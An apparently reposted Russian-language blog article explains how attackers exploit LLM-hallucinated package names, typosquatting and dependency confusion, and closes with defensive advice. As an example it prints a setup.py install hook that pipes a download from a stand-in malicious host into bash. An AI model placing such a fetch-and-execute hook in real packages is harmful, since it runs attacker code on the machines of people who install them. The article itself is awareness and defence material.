- BrainTools - https://www.braintools.ru -

Как ИИ помогает мошенникам

Тема безопасности в эпоху LLM всплывает всё чаще. И речь идёт не о самой модели — а о пользователях, которые доверяют ей без оглядки.

Сегодня многие разработчики и админы спрашивают у GPT не только совета, но и готовые команды. Результат выглядит правдоподобно — и команда уходит в терминал. Иногда прямо на прод.

А дальше этот код попадает в GitHub, кто-то копипастит его оттуда — и вот уже выдуманная библиотека начинает новую жизнь. И если обычная ошибка [1] — это неприятность, то левый пакет может стать входом для злоумышленников.

Жулики заметили тренд. Видят, что растёт число запросов на какую-то несуществующую библиотеку — и выкладывают её первыми. Разработчик ставит пакет, думая, что выполняет совет GPT, а на деле запускает чужой код у себя в системе.

Хуже того, если такой пакет попадёт обратно в ответы модели, круг замыкается. Ложная информация начинает множиться сама на себя.

Как пакеты становятся троянскими

Когда вы ставите библиотеку через pip install или npm install, менеджер зависимостей скачивает её код и выполняет скрипты, которые автор указал в настройках. Это часть нормальной установки — например, чтобы собрать бинарь. Но именно здесь злоумышленники прячут свой код.

Typosquatting (подмена имени)

Старая, но рабочая схема. Вместо requests вы случайно пишете reqeusts. Менеджер тянет другой пакет — и вместе с ним запускается подарок.

Самый громкий случай в Python случился совсем недавно — весной 2024 года. Тогда в PyPI выкладывали не десятки, а сразу сотни поддельных пакетов. Более 500 двойников имитировали названия популярных библиотек: TensorFlow, requests, BeautifulSoup и многих других. Большинство методов проксировались из реальных библиотек, поэтому не все замечали подвох.

Dependency confusion

Классика корпоративной среды. Компания хранит свои библиотеки в локальном репозитории. Но если в публичном появится пакет с тем же названием, система может подтянуть именно его. В итоге внешний код оказывается внутри вашей инфраструктуры.

В 2021 году Алекс Бирсон решил проверить, как компании защищают свои внутренние пакеты. В крупных командах часто есть приватные библиотеки — например, super-duper-logger.
Бирсон выложил такие же пакеты с теми же именами в публичный доступ, но с большим номером версии. Менеджеры зависимостей всегда тянули самую свежую версию — и в итоге код из публичного репозитория попадал в инфраструктуру корпораций.

На волне (мое название)

Мошенники следят за трендами. Если в поисках часто появляется «super-ml-lib», хотя такой библиотеки ещё нет, они выкладывают её первыми. GPT подхватывает название, вставляет его в ответы, кто-то запускает установку — и капкан захлопывается.

Что может делать вредоносный код

При установке пакета запускается setup.py [2] (в Python) или скрипты из package.json (в npm). Внутри можно написать всё, что угодно.

Простейший пример:

import os    
def install():     
	os.system("curl http://fuck.my.system.com/malware | bash")

Эта строчка отработает в момент установки — ещё до того, как вы успеете импортировать библиотеку в проект.

Через такие вызовы можно:

  • скачать и запустить произвольный бинарь

  • создать скрытые процессы

  • менять переменные окружения (например, украсть токены)

  • удалить или зашифровать файлы

  • переслать содержимое .ssh/ злоумышленнику

С точки зрения [3] системы это не взлом, а обычный скрипт пользователя. Всё запускается добровольно — только не вами, а за вас.

Как защититься

Даже простые меры снижают риск в разы:

  • не копипастите команды из GPT без проверки

  • всегда смотрите на библиотеку: кто автор, какой репозиторий, есть ли коммиты и звёзды

  • не запускайте всё подряд через sudo

  • для компаний — используйте внутренние зеркала и подписывайте пакеты

LLM не враг. Она не придумывает вирусы специально для вас — но и не проверяет, что то, что она подсказала, безопасно. Ответ всегда выглядит убедительно, и именно это делает доверие опасным.

Один pip install может превратиться в установку бэкдора, а может — просто добавить библиотеку в проект. Разница минимальна: всего один клик и пара секунд проверки.

И если проверка кажется лишней мелочью, стоит вспомнить, что большинство успешных атак начинались именно с неё — с одной буквы, одного имени пакета, одного нажатия Enter.

Оффтоп

Если тебе близки подобные темы — приглашаю в Telegram-канал «Техдир на пальцах» [4].
Строим дружное и общительное коммьюнити.

Автор: Techdir_hub

Источник [5]


Сайт-источник BrainTools: https://www.braintools.ru

Путь до страницы источника: https://www.braintools.ru/article/19248

URLs in this post:

[1] ошибка: http://www.braintools.ru/article/4192

[2] setup.py: http://setup.py

[3] зрения: http://www.braintools.ru/article/6238

[4] «Техдир на пальцах»: https://t.me/+7-m11XS2SFQwNjk6

[5] Источник: https://habr.com/ru/articles/944756/?utm_source=habrahabr&utm_medium=rss&utm_campaign=944756

www.BrainTools.ru

Rambler's Top100